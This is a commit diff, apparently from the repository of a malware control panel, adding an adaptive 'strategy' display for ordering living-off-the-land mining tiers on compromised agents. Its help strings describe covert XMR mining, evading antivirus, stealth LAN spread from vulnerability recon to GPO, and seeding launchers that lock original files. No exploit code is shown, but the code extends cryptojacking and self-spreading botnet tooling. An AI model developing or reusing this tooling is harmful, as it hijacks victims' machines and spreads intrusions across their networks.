Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => {
|
||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders adaptive strategy reasoning fixtures', () => {
|
||||
renderPanel(
|
||||
mockAgent({ platform: 'windows', status: 'online' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
adaptive_strategy: {
|
||||
tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'],
|
||||
skip_tiers: ['exe_subprocess'],
|
||||
confidence: 0.72,
|
||||
reasoning: [
|
||||
{
|
||||
fact: 'Docker runtime available on Windows host',
|
||||
inference: 'Container tier isolates miner from AV friction',
|
||||
action: 'Prefer container before raw subprocess',
|
||||
},
|
||||
],
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText('Strategy')).toBeInTheDocument();
|
||||
expect(screen.getByText('Adaptive')).toBeInTheDocument();
|
||||
expect(screen.getByText('AI path')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows pending chain when tiers not yet attempted', () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
|
||||
@@ -161,10 +161,36 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{model.strategyReasoning.length > 0 && (
|
||||
<div className="access-depth-section access-depth-strategy-block">
|
||||
<div className="access-depth-section-title">
|
||||
Strategy
|
||||
{model.adaptiveActive && (
|
||||
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">Adaptive</span>
|
||||
)}
|
||||
</div>
|
||||
<ul className="access-depth-strategy-list">
|
||||
{model.strategyReasoning.map((row, i) => (
|
||||
<li key={`${row.action}-${i}`} className="access-depth-strategy-row">
|
||||
<span className="access-depth-strategy-fact">{row.fact}</span>
|
||||
<span className="access-depth-strategy-inference">{row.inference}</span>
|
||||
<span className="access-depth-strategy-action">{row.action}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
{typeof model.adaptiveConfidence === 'number' && (
|
||||
<div className="access-depth-meta">confidence {Math.round(model.adaptiveConfidence * 100)}%</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="access-depth-section access-depth-onion-block">
|
||||
<div className="access-depth-section-title">
|
||||
Effective onion order
|
||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||
{model.adaptiveActive && (
|
||||
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">AI path</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="access-depth-onion-columns">
|
||||
<div>
|
||||
|
||||
@@ -13,6 +13,20 @@ export interface EnvironmentProbes {
|
||||
webview2?: boolean;
|
||||
}
|
||||
|
||||
export interface StrategyReason {
|
||||
fact: string;
|
||||
inference: string;
|
||||
action: string;
|
||||
}
|
||||
|
||||
export interface AdaptiveStrategyView {
|
||||
tier_order?: string[];
|
||||
skip_tiers?: string[];
|
||||
reasoning?: StrategyReason[];
|
||||
confidence?: number;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface AccessDepthDiagnostics {
|
||||
environment_probes?: EnvironmentProbes;
|
||||
tier_chain_order?: string[];
|
||||
@@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics {
|
||||
lotl_attempts?: TierAttempt[];
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
adaptive_strategy?: AdaptiveStrategyView;
|
||||
strategy_reasoning?: StrategyReason[];
|
||||
}
|
||||
|
||||
export interface AccessDepthServerPolicy {
|
||||
@@ -72,7 +88,10 @@ export interface AccessDepthModel {
|
||||
miningOnion: OnionTierRow[];
|
||||
spreadOnion: OnionTierRow[];
|
||||
tripleOnionSummary?: string;
|
||||
miningOrderSource: 'agent' | 'server' | 'default';
|
||||
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
|
||||
adaptiveActive: boolean;
|
||||
strategyReasoning: StrategyReason[];
|
||||
adaptiveConfidence?: number;
|
||||
}
|
||||
|
||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||
@@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
|
||||
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
||||
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
||||
|
||||
return {
|
||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||
@@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
||||
lotl_attempts: attempts.length ? attempts : undefined,
|
||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||
adaptive_strategy: adaptive,
|
||||
strategy_reasoning: reasoning,
|
||||
};
|
||||
}
|
||||
|
||||
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
|
||||
if (!Array.isArray(raw)) return undefined;
|
||||
const out: StrategyReason[] = [];
|
||||
for (const row of raw) {
|
||||
if (!row || typeof row !== 'object') continue;
|
||||
const r = row as Record<string, unknown>;
|
||||
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
|
||||
out.push({ fact: r.fact, inference: r.inference, action: r.action });
|
||||
}
|
||||
return out.length ? out : undefined;
|
||||
}
|
||||
|
||||
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const tier_order = Array.isArray(row.tier_order)
|
||||
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const skip_tiers = Array.isArray(row.skip_tiers)
|
||||
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const reasoning = parseStrategyReasoning(row.reasoning);
|
||||
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
|
||||
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
|
||||
if (!tier_order?.length && !reasoning?.length) return undefined;
|
||||
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
|
||||
}
|
||||
|
||||
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
||||
if (a.length !== b.length) return true;
|
||||
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
@@ -199,7 +256,17 @@ function resolveMiningOrder(
|
||||
diag: AccessDepthDiagnostics | undefined,
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
|
||||
return {
|
||||
order: adaptiveOrder,
|
||||
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
|
||||
source: 'adaptive',
|
||||
};
|
||||
}
|
||||
}
|
||||
if (diag?.tier_chain_order?.length) {
|
||||
return {
|
||||
order: diag.tier_chain_order,
|
||||
@@ -341,6 +408,9 @@ export function buildAccessDepthModel(
|
||||
})),
|
||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||
miningOrderSource: source,
|
||||
adaptiveActive: source === 'adaptive',
|
||||
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
||||
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||
|
||||
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
|
||||
export const ADAPTIVE_STRATEGY_HELP =
|
||||
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
|
||||
|
||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'vuln_recon',
|
||||
'docker',
|
||||
|
||||
@@ -28,6 +28,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
adaptive_strategy:
|
||||
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
|
||||
lotl_onion_tiers:
|
||||
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
|
||||
forge_path_forge:
|
||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
|
||||
Reference in New Issue
Block a user